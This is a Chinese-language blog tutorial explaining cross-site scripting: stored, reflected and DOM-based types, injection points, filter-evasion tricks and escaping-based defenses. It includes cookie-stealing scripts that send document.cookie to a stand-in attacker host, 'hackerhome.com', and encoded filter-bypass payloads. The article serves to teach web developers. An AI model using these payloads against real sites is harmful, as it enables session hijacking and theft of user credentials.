Cross-Site Scripting(XSS)簡介
最近才開始研究HTML以及安全問題。如果有什么說得不對的地方,望請指出。
在網(wǎng)絡(luò)應用安全中,XSS可能是最常見,范圍最大,所包含攻擊方法最多,同時也是最難以理解的一種攻擊。在OWASP所列出的十大網(wǎng)絡(luò)應用安全風險中,其排名第二位,僅次于SQL Injection。
而在本篇文章中,我們將一步一步深入挖掘XSS的攻擊流程,攻擊手段,以及防御方法等各個方面。
XSS示例
在深入了解XSS的各個方面之前,讓我們首先了解XSS攻擊到底是怎樣完成的。
就以一個博客應用為例。其常常需要允許讀者對博主的文章進行評論。在輸入評論的編輯欄中,我們可以輸入對該文章的評論,也可以輸入以下HTML標記:
1 <Script>alert(“XSS attack available!”);</Script>
在讀者按下提交鍵之后,該標記將被提交到服務(wù)器上,并在其它用戶訪問時作為評論顯示。此時該用戶所看到網(wǎng)頁中包含該標記的部分元素可能為:
1 <div> 2 <Script>alert(“XSS attack available!”);</Script> 3 </div>
而從用戶的角度來看,該網(wǎng)頁中就出現(xiàn)了一個警告:

也就是說,用戶輸入的腳本語言已經(jīng)被用戶的瀏覽器成功執(zhí)行。當然,這可能只是一個對該網(wǎng)站的善意提醒。但是對于一個真正具有惡意的攻擊者,其所插入的腳本代碼更可能如下所示:
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' 2 width=16 height=16 border=0 />');</script>
該段腳本將向當前評論內(nèi)插入一個圖片,而該圖片所對應的URL則指向了hackerhome中的JSP頁面grabber.jsp。從訪問該評論的用戶這一角度看來,其僅僅是一個不能顯示的圖片。但是對于惡意攻擊者而言,該JSP頁面將自動記錄傳入的msg參數(shù)內(nèi)容,即訪問評論用戶所使用的cookie。該cookie可能包含用戶的敏感信息,甚至是用戶名,密碼等重要信息。
XSS分類
上面的XSS示例實際上是最容易理解的一種:Stored。除此之外,XSS攻擊還包含另外兩種攻擊方式:Reflected以及DOM Based(Type-0 XSS)。下面我們就來具體講解各個攻擊方式以及各自的特點。
首先要講解的就是我們已經(jīng)見過的Stored攻擊。該攻擊的最大特點就是,用于攻擊的數(shù)據(jù)永久地存儲在目標網(wǎng)站的服務(wù)器中。試著回想上面所給出的例子:在惡意用戶提交帶有惡意代碼的評論時,為了能讓該評論可以被其它用戶看到,網(wǎng)站的開發(fā)人員必然需要將其永久性地存儲起來,例如數(shù)據(jù)庫。使用該方法進行攻擊的XSS將對所有訪問該頁面的用戶可見,并且一直保存下去,直到該評論被管理員處理。
第二類XSS攻擊則是Reflected攻擊。該攻擊的最大特點則與Stored攻擊相對:用于攻擊的數(shù)據(jù)并不是永久地存儲在目標網(wǎng)站的服務(wù)器中。
那這種攻擊是如何實現(xiàn)的呢?請試想這樣一種情況:某個網(wǎng)站允許其用戶通過搜索的方式查找具有特定名稱的商戶。對于商戶名稱SomeStore,該搜索功能所返回的頁面地址可能為:
1 www.SomeWeb.com/search.jsp?storename=SomeStore
如果該查找功能沒有查找到具有該名稱的商戶,那么網(wǎng)站將會返回一個錯誤頁面:沒有查找到名稱為SomeStore的商戶信息。此時惡意用戶首先可以通過在搜索欄中輸入<Script>alert(“XSS attack available!”);</Script>并執(zhí)行搜索判斷該網(wǎng)站是否有XSS漏洞。如果返回的搜索頁面出現(xiàn)了“XSS attack available!”消息框,那就表示該頁面僅僅簡單地將URL中的參數(shù)SomeStore顯示在了頁面之中,而并沒有對腳本的執(zhí)行做出防備。接下來,惡意用戶就可以將商戶名設(shè)為如下的惡意代碼:
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' 2 width=0 height=0 border=0 />SomeStore');</script>
也正是由于搜索頁面僅僅簡單地將該部分組成直接嵌于頁面之上,因此用戶從服務(wù)器端得到的網(wǎng)頁將包含該段代碼,其將自動訪問hackerhome上的grabber.jsp,并將用戶的cookie作為參數(shù)msg的值,從而使得受害者的cookie失竊。
但是如何讓用戶訪問這個頁面呢?很簡單,惡意用戶僅僅需要向那些受害者發(fā)送該搜索的鏈接,并為該鏈接附上一段具有吸引力的話即可。如果受害者點擊了該惡意鏈接,同時該網(wǎng)站的cookie在受害者的本地機器上沒有過期,那么這個cookie將被惡意網(wǎng)站hackerhome所竊取。
還有一種類型的攻擊也被歸類為Reflected類型的攻擊,那就是利用data:協(xié)議動態(tài)生成文件。該協(xié)議允許客戶端直接創(chuàng)建二進制文件,如Doc或PDF文件等,并使用相應應用程序打開該文件。例如,惡意用戶可以通過XSS插入下面的鏈接:
1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h 2 4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>
如果用戶點擊了該鏈接,那么電腦將自動使用關(guān)聯(lián)的程序打開該文件。由于這些文件的讀取等動作都需要相應的應用程序支持,因此惡意人員可以更進一步地利用相應的應用程序漏洞執(zhí)行更豐富的攻擊。
最后一種則是DOM Based攻擊,又常常被稱為Type-0 XSS攻擊。它與前兩種攻擊方式擁有很大的不同:Stored和Reflected方式中,對有害內(nèi)容的生成是在服務(wù)端完成的,而DOM Based攻擊中,對有害內(nèi)容的生成是在客戶端完成的。例如一個圖片瀏覽頁面在URL中使用index參數(shù)表示當前用戶所察看圖片的索引,并通過javascript動態(tài)寫入HTML元素:
1 <script> 2 var index = getIndex(document.URL); 3 document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”) 4 </script>
那么惡意用戶就可以通過在URL的index參數(shù)中插入其它信息來完成。例如在該URL中,惡意用戶可以為index參數(shù)指定參數(shù)值后額外添加一部分惡意語句,如經(jīng)過編碼后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。當然,惡意用戶并不會希望用戶自己攻擊自己,因此他仍然需要做一些額外的社會工作,例如發(fā)送郵件給受害者并誘使他點擊該有害鏈接等。
攻擊點
相信經(jīng)過前面的講解,您已經(jīng)了解了XSS攻擊所常用的三種方法。知道了方法以后,我們還要知道各個方法的目標,從而更好地在各個目標上對XSS攻擊進行預防。
首先要清楚的是,XSS攻擊所利用的都是頁面中動態(tài)生成的部分。為了能讓攻擊順利進行,這些動態(tài)生成的部分應能包含一系列代碼,以通過這些代碼的執(zhí)行達到惡意用戶的目的。更改頁面所使用的動態(tài)組成是XSS攻擊的第一步,而令這些動態(tài)組成在動態(tài)生成的內(nèi)容中起作用則是XSS攻擊的第二步。因此對于頁面中使用動態(tài)內(nèi)容的組成,我們需要根據(jù)其所在位置執(zhí)行特定的檢查。在不同的位置所允許的動態(tài)內(nèi)容格式并不相同,而我們要做的就是屏蔽這些使用方法。
接下來需要讀者清楚地是,攻擊常常利用了各個組成中的特殊符號或關(guān)鍵字。例如對HTML標記的攻擊就可以通過字符’>’將當前標記關(guān)閉,從而使插入script標記成為了可能。再比如對javascript的攻擊則可以利用表示當前語句結(jié)束的分號’;’,進而輸入下一句具有危害性的代碼。所以說,各種XSS攻擊所使用的手法需要根據(jù)攻擊點所在的頁面組成分別進行討論。
第一個要說的就是HTML標記。HTML標記可以通過JSP,Javascript等方式動態(tài)生成。而在HTML標記中添加可執(zhí)行代碼的最常用方法就是<script>標記。例如對于下面的JSP代碼:
1 <body … title=<%=title%>>…</body>
如果title記錄的是字符串100><script> alert(“XSS attack available!”);</script,那么最終生成的HTML文件將如下所示:
1 <body … title=100><script>alert(“XSS attack available!”);</script>…</body>
可以看到,惡意攻擊者所精心設(shè)計的標記將能夠在普通用戶毫無察覺的情況下執(zhí)行惡意代碼。
當然,惡意攻擊者也可以選擇不插入script標記,而是通過插入別的標記并在標記中插入對事件進行響應的javascript腳本來完成。如令上面的width變量為100><div onmousemove=”doEvil()”/,從而使最終的生成結(jié)果變?yōu)椋?/p>
1 <body … width=100><div onmousemove=”doEvil()”/>…</body>
除此之外,惡意用戶還可以對HTML標記中的屬性動動手腳。我們知道,動態(tài)生成的HTML常常使用外部的一些變量生成其內(nèi)容。例如一個JSP頁面中可能存在著如下HTML元素:<body title=<%=somevar%> id=textbox>。可以看到,JSP變量somevar用來初始化屬性title的值。但是如果惡意用戶設(shè)法讓該變量的值為a onload=alert(“XSS attack available!”),那么該元素的HTML標記將最終變?yōu)椋?/p>
1 <body title=a onload=alert(“XSS attack available!”)>
也既是將在文檔被載入時執(zhí)行onload事件的響應代碼,即為這里的alert(“XSS attack available!”)。
再比如,對HTML注釋進行攻擊。如果一個HTML注釋中使用了JSP變量,那么惡意用戶完全可以通過注釋結(jié)束標記打開注釋,并在惡意代碼之后重新啟動注釋。例如對于注釋中使用的JSP變量comment:
1 <!-- ...<%=comment%>-->
惡意用戶可以嘗試令JSP變量comment的值為--><script>alert(“XSS attack available!”)</script><!--。這樣,一段腳本就成功地插入到了頁面中:
1 <!----><script>alert(“XSS attack available!”)</script><!---->
除了HTML標記之外,對樣式進行攻擊也是XSS所使用的一個主要方法。在樣式中,我們可以使用expression以及url指定一段代碼,以動態(tài)求得所需要使用的樣式。這也就為XSS攻擊提供了一個契機:如果我們是通過一個JSP變量初始化的樣式,那么惡意用戶就可以嘗試通過將該變量初始化為一個惡意表達式來完成攻擊。例如對于如下兩種樣式:
1 <DIV STYLE="width: <%=width%>"> 2 <DIV STYLE="background-image: <%=image%>">
如果這兩個JSP變量的值可以被某種用戶輸入更改,那么對這兩個JSP變量width及image的使用就存在著一定的風險:在加載并使用這些樣式的時候,該變量中所包含的腳本代碼將被執(zhí)行。例如在這兩個變量分別為expression(alert('XSS attack available!'))及url(javascript:alert('XSS attack available!'))時,該頁面的加載將顯示“XSS attack available!”的警告信息。
除了樣式和HTML標記之外,對Javascript的攻擊也是非常常見的。在Javascript中使用JSP變量是一種非常常見的用法。在這種用法中,惡意用戶仍然有辦法執(zhí)行攻擊。例如對于下面的Javascript變量聲明:
1 var index = <%=index%>;
對這種變量賦值進行攻擊的方法非常簡單:使用分號結(jié)束當前賦值語句,并在其后添加惡意代碼即可。例如令index為0; alert(“XSS attack available!”);。那么最終生成的javascript將為:
1 var index = 0; alert(“XSS attack available!”);
當然,這里僅僅列出了一些通用的攻擊手段,確切來說,就是攻擊的點。而在各個點上進行攻擊的方法又會分為很多種,甚至有些和瀏覽器相關(guān)。在后面的一節(jié)中,本文就將對這些變種進行簡單的介紹。
變通方法
您可能在想:我通過對這些特殊情況進行處理,篩選出這些可能的攻擊,那我的網(wǎng)站是不是就安全了?這里的答案是:不完全安全。首先,對每個攻擊點進行攻擊的方法可以擁有眾多變種,因此對攻擊點的防御并不是簡單地將具有固定匹配模式的關(guān)鍵字篩選出去即可。其次,隨著HTML等技術(shù)的演化以及瀏覽器的不斷更新,對各個攻擊點進行攻擊的變化也在不斷發(fā)展著。最后,各個瀏覽器內(nèi)部對HTML進行分析的過程以及對錯誤進行糾正的能力各不相同,而有些攻擊就是針對這種瀏覽器的特性而產(chǎn)生的。因此我們并不應自行實現(xiàn)對XSS攻擊進行過濾的篩選器。
當然,僅僅在這里說XSS擁有一系列變通方式并不能讓人完全信服,因此本節(jié)中列舉了一系列常用的變通方式。
一種常用的規(guī)避檢測的方法就是使用大小寫變化。例如惡意用戶可以更改惡意代碼url(javascript:alert('XSS attack available!'))的大小寫,如url(jAVAsCriPt:alert('XSS attack available!'))。這是篩選器所需要處理的最基本情況。
除此之外,篩選器還需要能夠處理隱式創(chuàng)建字符串的情況。例如在javascript中,我們可以通過String.fromCharCode()函數(shù)隱式地創(chuàng)建字符串。那么通過和document.write()函數(shù)的組合,惡意用戶可以非常隱蔽地向HTML文檔寫入字符串:
1 document.write(String.fromCharCode(88,83,83)); // 寫入XSS
而更令人頭疼的則是通過編碼規(guī)避篩選器的檢測。例如對于下面的惡意代碼:
1 <IMG SRC="javascript:alert('XSS');">
您可以通過UTF-8的方式對其進行編碼:
1 <IMG SRC=javascript:alert('XSS')>
而不包含分號的UTF-8編碼則如下所示:
1 <IMG SRC=javascript:al
ert('XSS')>
而該編碼也可以使用十六進制:
1 <IMG SRC=javascript:alert('XSS')>
甚至只編碼一個字符:
1 <IMG SRC="javascript:alert('XSS');">
另外,在javascript中加入tab,回車,換行,\0等符號也需要考慮在內(nèi),因為對于眾多瀏覽器而言,這種寫法是合法的:
1 <IMG SRC="jav ascript:alert('XSS');"> 2 <SCR\0IPT>alert(\"XSS\")</SCR\0IPT>
另外,我們也可以對這些字符進行編碼:
1 <IMG SRC="jav
ascript:alert('XSS');">
這還僅僅是一些通用的規(guī)避XSS檢測的手段。更有一些手段是針對特定瀏覽器的,更增加了XSS篩選器編寫的難度。例如,由于某些瀏覽器會認為一個HTML元素中的非數(shù)字或字母的字符為非法字符,從而認為其后所跟的所有字符為空格,從而使下面的攻擊變?yōu)榭赡埽ㄔ鼗蛘呤录隙伎梢裕?/p>
1 <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> 2 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
同時,瀏覽器對HTML元素的分析以及XSS檢測器的分析邏輯也有可能導致某些漏洞不能檢查出來。例如某些檢測器會首先查找匹配的元素,然后再檢查元素中的內(nèi)容。那么下面的攻擊將無法被檢測出來:<<SCRIPT>alert("XSS");//<</SCRIPT>
類似地,某些瀏覽器會在某些不完整元素之后對元素自動進行修補。例如下面的Script元素開始標記以后沒有結(jié)束標記,而Firefox將會為其添加結(jié)束元素:
1 <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
這便會導致XSS篩選器的執(zhí)行失敗。
其實,這里僅僅是希望您看到,自行編寫一個XSS攻擊的篩選器將是多么龐雜的工作。對于不同的網(wǎng)頁組成,XSS所使用的攻擊手法以及規(guī)避檢測的手法各不相同。例如如果需要防護的是URL,那么首先需要對該URL進行循環(huán)解碼操作,然后再檢查其是否包含了有害的內(nèi)容。同時,需要強調(diào)的是,各種規(guī)避檢測的手法實際上都是對攻擊手法的掩飾。因此XSS篩選器通常在最后一步真正執(zhí)行對XSS攻擊的檢查,而前面的各各步驟,如解碼等,都是用來識破真正攻擊的環(huán)節(jié)。
而我們真正要做的,則是正確地使用已有的解決方案保證網(wǎng)站的安全。
防御方法
當前,最常用的防御方法就是在生成網(wǎng)頁的時候?qū)Σ恍湃蔚妮斎脒M行檢查,如URL以及動態(tài)生成的HTML標記等。而對于JSP/Servlet而言,最常用的方法就是JSTL(JavaServer Pages Standard Tag Library)的<c:out>標記及fn:escapeXml()函數(shù)。在頁面中重新展示用戶輸入的時候,軟件開發(fā)人員可以通過這些標記對XML進行篩選。
1 <input name="foo" value="<c:out value="${value}" />"> 2 <input name="foo" value="${fn:escapeXml(value)}">
可以看到,該方法是在JSP頁面生成HTML頁面的時候進行的。其實這是一種最常見的JSP頁面處理方法。首先,我們無法在用戶輸入的時候知曉該數(shù)據(jù)將以什么方式傳遞回客戶端。例如對于O'Malley,用在Javascript中時應為O\x27Malley,而在HTML中則應為O'Malley。另外我們也無法保證是否某些數(shù)據(jù)已經(jīng)通過其它漏洞被惡意修改。還有一個原因則是,一旦這些數(shù)據(jù)發(fā)生了更改,那么想要還原這些數(shù)據(jù)是不可能的。最后,對于惡意用戶,系統(tǒng)管理員也需要通過數(shù)據(jù)庫里所記錄的惡意信息尋求執(zhí)行法律處理。因此,在一般情況下,對用戶的輸入在輸入端進行篩選及驗證常常只是一個補充的驗證手段,而很難全面地防御XSS。總的來說,這是因為XSS實際上是一個輸出上的問題,而不是輸入上的問題。
一個較為困難的情況就是某些網(wǎng)絡(luò)應用需要允許用戶使用HTML的部分標記以提供對某些格式的支持。現(xiàn)有的一個比較好的做法則是首先將存儲在數(shù)據(jù)庫中的用戶輸入(如特定編輯器的輸入)轉(zhuǎn)化為html,然后將該html流通過一個白名單進行篩選,以清除危險的html標記及屬性設(shè)置,并最終顯示在頁面之中。
一般情況下,軟件開發(fā)人員需要按照如下方式提供一個安全的HTML實現(xiàn):
1) 在頁面的最一開始顯式地標明Charset,以防止再被插入其它標明字符集的Meta信息,以允許UTF-7攻擊。
2) 檢測URL以將其中包含的各種編碼轉(zhuǎn)化為固定編碼。
3) 檢測CSS以防止其包含javascript或expression等可執(zhí)行組成。
4) 將所有用戶輸入都進行一次轉(zhuǎn)化。例如將<替換為<等。
5) 檢查所有的頁面屬性設(shè)置,以防止屬性值沒有被引號括起,或某些事件響應函數(shù)可以被用戶輸入所改變。
6) 不允許用戶所提供的HTML。
7) 防止DOM攻擊。
總結(jié)
所有類型的攻擊實際上都是整個攻擊過程中的一個點。特定類型的攻擊利用程序中的特定漏洞。如XSS利用的就是網(wǎng)站中可以插入并執(zhí)行用戶輸入的代碼這一弱點。而后續(xù)的攻擊手法,例如利用插入的腳本代碼仿造用戶行為則是CSRF。一般情況下,XSS并不可怕,但是如果XSS能夠成功地完成攻擊,那么軟件開發(fā)人員就可以通過XSS完成更危險的攻擊,如插入提交代碼轉(zhuǎn)移資金等。由于此時用戶處于自身所下載的頁面中,因此CSRF防御措施根本無法有效執(zhí)行。
XSS實際上是一種特殊類型的code injection。其最主要的特點就是利用動態(tài)網(wǎng)頁的動態(tài)功能插入惡意代碼以獲得隱秘數(shù)據(jù)。而將數(shù)據(jù)傳送到其它網(wǎng)絡(luò)或?qū)⒂脩暨B接到其它網(wǎng)絡(luò)的這一步驟則是惡意用戶常常采用的行為,也便是跨站這個名稱的由來。
轉(zhuǎn)載請注明原文地址:http://www.rzrgm.cn/loveis715/archive/2012/07/13/2506846.html
商業(yè)轉(zhuǎn)載請事先與我聯(lián)系:silverfox715@sina.com,我只會要求添加作者名稱以及博客首頁鏈接。

浙公網(wǎng)安備 33010602011771號